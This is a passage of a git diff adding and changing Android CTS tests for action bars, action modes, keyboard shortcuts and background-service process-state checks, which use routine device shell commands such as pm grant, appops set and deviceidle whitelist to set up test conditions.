diff --git a/tests/app/src/android/app/cts/ActionBarTest.java b/tests/app/src/android/app/cts/ActionBarTest.java
index 3404b57..8bfaa59 100644
--- a/tests/app/src/android/app/cts/ActionBarTest.java
+++ b/tests/app/src/android/app/cts/ActionBarTest.java
@@ -22,6 +22,8 @@
 import android.app.stubs.ActionBarActivity;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
+import android.view.KeyEvent;
+import android.view.Window;
 
 public class ActionBarTest extends ActivityInstrumentationTestCase2<ActionBarActivity> {
 
@@ -81,6 +83,36 @@
         assertEquals(t3, mBar.getTabAt(4));
     }
 
+    public void testOptionsMenuKey() {
+        if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+            return;
+        }
+        final boolean menuIsVisible[] = {false};
+        mActivity.getActionBar().addOnMenuVisibilityListener(
+                isVisible -> menuIsVisible[0] = isVisible);
+        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
+        getInstrumentation().waitForIdleSync();
+        assertTrue(menuIsVisible[0]);
+        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
+        getInstrumentation().waitForIdleSync();
+        assertFalse(menuIsVisible[0]);
+    }
+
+    public void testOpenOptionsMenu() {
+        if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+            return;
+        }
+        final boolean menuIsVisible[] = {false};
+        mActivity.getActionBar().addOnMenuVisibilityListener(
+                isVisible -> menuIsVisible[0] = isVisible);
+        getInstrumentation().runOnMainSync(() -> mActivity.openOptionsMenu());
+        getInstrumentation().waitForIdleSync();
+        assertTrue(menuIsVisible[0]);
+        getInstrumentation().runOnMainSync(() -> mActivity.closeOptionsMenu());
+        getInstrumentation().waitForIdleSync();
+        assertFalse(menuIsVisible[0]);
+    }
+
     private Tab createTab(String name) {
         return mBar.newTab().setText("Tab 1").setTabListener(new TestTabListener());
     }
diff --git a/tests/app/src/android/app/cts/ActivityActionModeTest.java b/tests/app/src/android/app/cts/ActivityActionModeTest.java
new file mode 100644
index 0000000..1e1ab21
--- /dev/null
+++ b/tests/app/src/android/app/cts/ActivityActionModeTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import static org.mockito.Mockito.*;
+
+import android.app.stubs.MockActivity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.view.ActionMode;
+import android.view.Window;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityActionModeTest {
+
+    private ActionMode.Callback mCallback;
+
+    @Rule
+    public ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
+
+    @Before
+    public void setUp() {
+        mCallback = mock(ActionMode.Callback.class);
+        when(mCallback.onCreateActionMode(any(), any())).thenReturn(true);
+        when(mCallback.onPrepareActionMode(any(), any())).thenReturn(true);
+    }
+
+    @Test
+    @UiThreadTest
+    public void testStartPrimaryActionMode() {
+        if (!mActivityRule.getActivity().getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
+            return;
+        }
+
+        final ActionMode mode = mActivityRule.getActivity().startActionMode(
+                mCallback, ActionMode.TYPE_PRIMARY);
+
+        assertNotNull(mode);
+        assertEquals(ActionMode.TYPE_PRIMARY, mode.getType());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testStartFloatingActionMode() {
+        if (!mActivityRule.getActivity().getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
+            return;
+        }
+
+        final ActionMode mode = mActivityRule.getActivity().startActionMode(
+                mCallback, ActionMode.TYPE_FLOATING);
+
+        assertNotNull(mode);
+        assertEquals(ActionMode.TYPE_FLOATING, mode.getType());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testStartTypelessActionMode() {
+        if (!mActivityRule.getActivity().getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
+            return;
+        }
+
+        final ActionMode mode = mActivityRule.getActivity().startActionMode(mCallback);
+
+        assertNotNull(mode);
+        assertEquals(ActionMode.TYPE_PRIMARY, mode.getType());
+    }
+}
diff --git a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
index 678f12c..7f5c49c 100644
--- a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
+++ b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
@@ -16,8 +16,8 @@
 
 package android.app.cts;
 
-import android.app.Activity;
 import android.app.stubs.KeyboardShortcutsActivity;
+import android.content.pm.PackageManager;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.KeyEvent;
 import android.view.KeyboardShortcutGroup;
@@ -33,7 +33,7 @@
 public class ActivityKeyboardShortcutsTest
         extends ActivityInstrumentationTestCase2<KeyboardShortcutsActivity> {
 
-    private Activity mActivity;
+    private KeyboardShortcutsActivity mActivity;
     private Menu mMenu;
 
     public ActivityKeyboardShortcutsTest() {
@@ -47,7 +47,34 @@
         mMenu = new PopupMenu(mActivity, null).getMenu();
     }
 
+    /**
+     * Tests that requestShowKeyboardShortcuts fetches app specific shortcuts even when triggered
+     * from an overflow menu (options menu in the test)
+     */
+    public void testRequestShowKeyboardShortcuts() throws InterruptedException {
+        if (!keyboardShortcutsSupported()) {
+            return;
+        }
+        // Open activity's options menu
+        mActivity.openOptionsMenu();
+        mActivity.waitForMenuToBeOpen();
+
+        // Request keyboard shortcuts
+        mActivity.requestShowKeyboardShortcuts();
+        mActivity.waitForKeyboardShortcutsToBeRequested();
+
+        // Close the shortcuts helper
+        mActivity.dismissKeyboardShortcutsHelper();
+
+        // THEN the activity's onProvideKeyboardShortcuts should have been
+        // triggered to get app specific shortcuts
+        assertTrue(mActivity.onProvideKeyboardShortcutsCalled());
+    }
+
     public void testOnProvideKeyboardShortcuts() {
+        if (!keyboardShortcutsSupported()) {
+            return;
+        }
         List<KeyboardShortcutGroup> data = new ArrayList<>();
         mActivity.onCreateOptionsMenu(mMenu);
         mActivity.onProvideKeyboardShortcuts(data, mMenu, -1);
@@ -60,4 +87,10 @@
             data.get(0).getItems().get(0).getBaseCharacter());
         assertEquals(KeyEvent.META_CTRL_ON, data.get(0).getItems().get(0).getModifiers());
     }
+
+    private boolean keyboardShortcutsSupported() {
+      // Keyboard shortcuts API is not supported on watches.
+      // TODO(b/62257073): Provide a more granular feature to check here.
+      return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
new file mode 100644
index 0000000..ec08a89
--- /dev/null
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.Manifest;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
+import android.app.cts.android.app.cts.tools.ServiceProcessController;
+import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
+import android.app.cts.android.app.cts.tools.UidImportanceListener;
+import android.app.cts.android.app.cts.tools.WaitForBroadcast;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.test.InstrumentationTestCase;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+    private static final String STUB_PACKAGE_NAME = "android.app.stubs";
+    private static final int WAIT_TIME = 2000;
+    // A secondary test activity from another APK.
+    static final String SIMPLE_PACKAGE_NAME = "com.android.cts.launcherapps.simpleapp";
+    static final String SIMPLE_SERVICE = ".SimpleService";
+    static final String SIMPLE_SERVICE2 = ".SimpleService2";
+    static final String SIMPLE_RECEIVER_START_SERVICE = ".SimpleReceiverStartService";
+    static final String SIMPLE_ACTIVITY_START_SERVICE = ".SimpleActivityStartService";
+    public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
+            "com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
+
+    private Context mContext;
+    private Instrumentation mInstrumentation;
+    private Intent mServiceIntent;
+    private Intent mService2Intent;
+    private Intent mAllProcesses[];
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mInstrumentation = getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        mServiceIntent = new Intent();
+        mServiceIntent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_SERVICE);
+        mService2Intent = new Intent();
+        mService2Intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_SERVICE2);
+        mAllProcesses = new Intent[2];
+        mAllProcesses[0] = mServiceIntent;
+        mAllProcesses[1] = mService2Intent;
+        mContext.stopService(mServiceIntent);
+        mContext.stopService(mService2Intent);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testUidImportanceListener() throws Exception {
+        final Parcel data = Parcel.obtain();
+        ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
+        ServiceConnectionHandler conn2 = new ServiceConnectionHandler(mContext, mService2Intent);
+
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                SIMPLE_PACKAGE_NAME, 0);
+        UidImportanceListener uidForegroundListener = new UidImportanceListener(appInfo.uid);
+
+        String cmd = "pm revoke " + STUB_PACKAGE_NAME + " "
+                + Manifest.permission.PACKAGE_USAGE_STATS;
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        /*
+        Log.d("XXXX", "Invoke: " + cmd);
+        Log.d("XXXX", "Result: " + result);
+        */
+        boolean gotException = false;
+        try {
+            am.addOnUidImportanceListener(uidForegroundListener,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE);
+        } catch (SecurityException e) {
+            gotException = true;
+        }
+        assertTrue("Expected SecurityException thrown", gotException);
+
+        cmd = "pm grant " + STUB_PACKAGE_NAME + " "
+                + Manifest.permission.PACKAGE_USAGE_STATS;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        /*
+        Log.d("XXXX", "Invoke: " + cmd);
+        Log.d("XXXX", "Result: " + result);
+        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+                + STUB_PACKAGE_NAME));
+        */
+        am.addOnUidImportanceListener(uidForegroundListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE);
+
+        UidImportanceListener uidGoneListener = new UidImportanceListener(appInfo.uid);
+        am.addOnUidImportanceListener(uidGoneListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
+
+        // First kill the processes to start out in a stable state.
+        conn.bind(WAIT_TIME);
+        conn2.bind(WAIT_TIME);
+        try {
+            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        try {
+            conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        conn.unbind(WAIT_TIME);
+        conn2.unbind(WAIT_TIME);
+
+        // Wait for uid's processes to go away.
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Now bind and see if we get told about the uid coming in to the foreground.
+        conn.bind(WAIT_TIME);
+        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Pull out the service IBinder for a kludy hack...
+        IBinder service = conn.getServiceIBinder();
+
+        // Now unbind and see if we get told about it going to the background.
+        conn.unbind(WAIT_TIME);
+        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Now kill the process and see if we are told about it being gone.
+        try {
+            service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+            // It is okay if it is already gone for some reason.
+        }
+
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Now we are going to try different combinations of binding to two processes to
+        // see if they are correctly combined together for the app.
+
+        // Bring up both services.
+        conn.bind(WAIT_TIME);
+        conn2.bind(WAIT_TIME);
+        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Bring down one service, app state should remain foreground.
+        conn2.unbind(WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Bring down other service, app state should now be cached.  (If the processes both
+        // actually get killed immediately, this is also not a correctly behaving system.)
+        conn.unbind(WAIT_TIME);
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Bring up one service, this should be sufficient to become foreground.
+        conn2.bind(WAIT_TIME);
+        uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Bring up other service, should remain foreground.
+        conn.bind(WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // Bring down one service, should remain foreground.
+        conn.unbind(WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        // And bringing down other service should put us back to cached.
+        conn2.unbind(WAIT_TIME);
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        data.recycle();
+
+        am.removeOnUidImportanceListener(uidForegroundListener);
+        am.removeOnUidImportanceListener(uidGoneListener);
+    }
+
+    public void testBackgroundCheckService() throws Exception {
+        final Parcel data = Parcel.obtain();
+        Intent serviceIntent = new Intent();
+        serviceIntent.setClassName(SIMPLE_PACKAGE_NAME,
+                SIMPLE_PACKAGE_NAME + SIMPLE_SERVICE);
+        ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, serviceIntent);
+
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        String cmd = "pm grant " + STUB_PACKAGE_NAME + " "
+                + Manifest.permission.PACKAGE_USAGE_STATS;
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        /*
+        Log.d("XXXX", "Invoke: " + cmd);
+        Log.d("XXXX", "Result: " + result);
+        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+                + STUB_PACKAGE_NAME));
+        */
+
+        ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                SIMPLE_PACKAGE_NAME, 0);
+
+        UidImportanceListener uidForegroundListener = new UidImportanceListener(appInfo.uid);
+        am.addOnUidImportanceListener(uidForegroundListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE);
+        UidImportanceListener uidGoneListener = new UidImportanceListener(appInfo.uid);
+        am.addOnUidImportanceListener(uidGoneListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+
+        // First kill the process to start out in a stable state.
+        mContext.stopService(serviceIntent);
+        conn.bind(WAIT_TIME);
+        try {
+            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        conn.unbind(WAIT_TIME);
+
+        // Wait for uid's process to go away.
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We don't want to wait for the uid to actually go idle, we can force it now.
+        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // Make sure app is not yet on whitelist
+        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We will use this to monitor when the service is running.
+        conn.startMonitoring();
+
+        try {
+            // Try starting the service.  Should fail!
+            boolean failed = false;
+            try {
+                mContext.startService(serviceIntent);
+            } catch (IllegalStateException e) {
+                failed = true;
+            }
+            if (!failed) {
+                fail("Service was allowed to start while in the background");
+            }
+
+            // Put app on temporary whitelist to see if this allows the service start.
+            cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Try starting the service now that the app is whitelisted...  should work!
+            mContext.startService(serviceIntent);
+            conn.waitForConnect(WAIT_TIME);
+
+            // Good, now stop the service and give enough time to get off the temp whitelist.
+            mContext.stopService(serviceIntent);
+            conn.waitForDisconnect(WAIT_TIME);
+            Thread.sleep(3000);
+
+            // We don't want to wait for the uid to actually go idle, we can force it now.
+            cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Now that we should be off the temp whitelist, make sure we again can't start.
+            failed = false;
+            try {
+                mContext.startService(serviceIntent);
+            } catch (IllegalStateException e) {
+                failed = true;
+            }
+            if (!failed) {
+                fail("Service was allowed to start while in the background");
+            }
+
+            // Now put app on whitelist, should allow service to run.
+            cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Try starting the service now that the app is whitelisted...  should work!
+            mContext.startService(serviceIntent);
+            conn.waitForConnect(WAIT_TIME);
+
+            // Okay, bring down the service.
+            mContext.stopService(serviceIntent);
+            conn.waitForDisconnect(WAIT_TIME);
+
+        } finally {
+            mContext.stopService(serviceIntent);
+            conn.stopMonitoring();
+
+            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            am.removeOnUidImportanceListener(uidGoneListener);
+            am.removeOnUidImportanceListener(uidForegroundListener);
+
+            data.recycle();
+        }
+    }
+
+    public void testBackgroundCheckStopsService() throws Exception {
+        final Parcel data = Parcel.obtain();
+        ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
+        ServiceConnectionHandler conn2 = new ServiceConnectionHandler(mContext, mService2Intent);
+
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        String cmd = "pm grant " + STUB_PACKAGE_NAME + " "
+                + Manifest.permission.PACKAGE_USAGE_STATS;
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        /*
+        Log.d("XXXX", "Invoke: " + cmd);
+        Log.d("XXXX", "Result: " + result);
+        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+                + STUB_PACKAGE_NAME));
+        */
+
+        ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                SIMPLE_PACKAGE_NAME, 0);
+
+        UidImportanceListener uidServiceListener = new UidImportanceListener(appInfo.uid);
+        am.addOnUidImportanceListener(uidServiceListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE);
+        UidImportanceListener uidGoneListener = new UidImportanceListener(appInfo.uid);
+        am.addOnUidImportanceListener(uidGoneListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
+
+        // First kill the process to start out in a stable state.
+        mContext.stopService(mServiceIntent);
+        mContext.stopService(mService2Intent);
+        conn.bind(WAIT_TIME);
+        conn2.bind(WAIT_TIME);
+        try {
+            conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        try {
+            conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+        } catch (RemoteException e) {
+        }
+        conn.unbind(WAIT_TIME);
+        conn2.unbind(WAIT_TIME);
+
+        // Wait for uid's process to go away.
+        uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+        assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+        cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We don't want to wait for the uid to actually go idle, we can force it now.
+        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // Make sure app is not yet on whitelist
+        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We will use this to monitor when the service is running.
+        conn.startMonitoring();
+
+        try {
+            // Try starting the service.  Should fail!
+            boolean failed = false;
+            try {
+                mContext.startService(mServiceIntent);
+            } catch (IllegalStateException e) {
+                failed = true;
+            }
+            if (!failed) {
+                fail("Service was allowed to start while in the background");
+            }
+
+            // First poke the process into the foreground, so we can avoid  background check.
+            conn2.bind(WAIT_TIME);
+            conn2.waitForConnect(WAIT_TIME);
+
+            // Wait for process state to reflect running service.
+            uidServiceListener.waitForValue(
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            conn2.unbind(WAIT_TIME);
+
+            // Wait for process to recover back down to being cached.
+            uidServiceListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // Try starting the service now that the app is waiting to idle...  should work!
+            mContext.startService(mServiceIntent);
+            conn.waitForConnect(WAIT_TIME);
+
+            // And also start the second service.
+            conn2.startMonitoring();
+            mContext.startService(mService2Intent);
+            conn2.waitForConnect(WAIT_TIME);
+
+            // Force app to go idle now
+            cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Wait for services to be stopped by system.
+            uidServiceListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+            assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+                    am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+            // And service should be stopped by system, so just make sure it is disconnected.
+            conn.waitForDisconnect(WAIT_TIME);
+            conn2.waitForDisconnect(WAIT_TIME);
+
+        } finally {
+            mContext.stopService(mServiceIntent);
+            mContext.stopService(mService2Intent);
+            conn.cleanup(WAIT_TIME);
+            conn2.cleanup(WAIT_TIME);
+
+            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            am.removeOnUidImportanceListener(uidGoneListener);
+            am.removeOnUidImportanceListener(uidServiceListener);
+
+            data.recycle();
+        }
+    }
+
+    public void testBackgroundCheckBroadcastService() throws Exception {
+        final Intent broadcastIntent = new Intent();
+        broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        broadcastIntent.setClassName(SIMPLE_PACKAGE_NAME,
+                SIMPLE_PACKAGE_NAME + SIMPLE_RECEIVER_START_SERVICE);
+
+        final ServiceProcessController controller = new ServiceProcessController(mContext,
+                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses);
+        final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
+                mServiceIntent);
+
+        // First kill the process to start out in a stable state.
+        controller.ensureProcessGone(WAIT_TIME);
+
+        String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We don't want to wait for the uid to actually go idle, we can force it now.
+        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // Make sure app is not yet on whitelist
+        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We will use this to monitor when the service is running.
+        conn.startMonitoring();
+
+        try {
+            // Try sending broadcast to start the service.  Should fail!
+            SyncOrderedBroadcast br = new SyncOrderedBroadcast();
+            broadcastIntent.putExtra("service", mServiceIntent);
+            br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
+            int brCode = br.getReceivedCode();
+            if (brCode != Activity.RESULT_CANCELED) {
+                fail("Didn't fail starting service, result=" + brCode);
+            }
+
+            // Put app on temporary whitelist to see if this allows the service start.
+            cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Try starting the service now that the app is whitelisted...  should work!
+            br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
+            brCode = br.getReceivedCode();
+            if (brCode != Activity.RESULT_FIRST_USER) {
+                fail("Failed starting service, result=" + brCode);
+            }
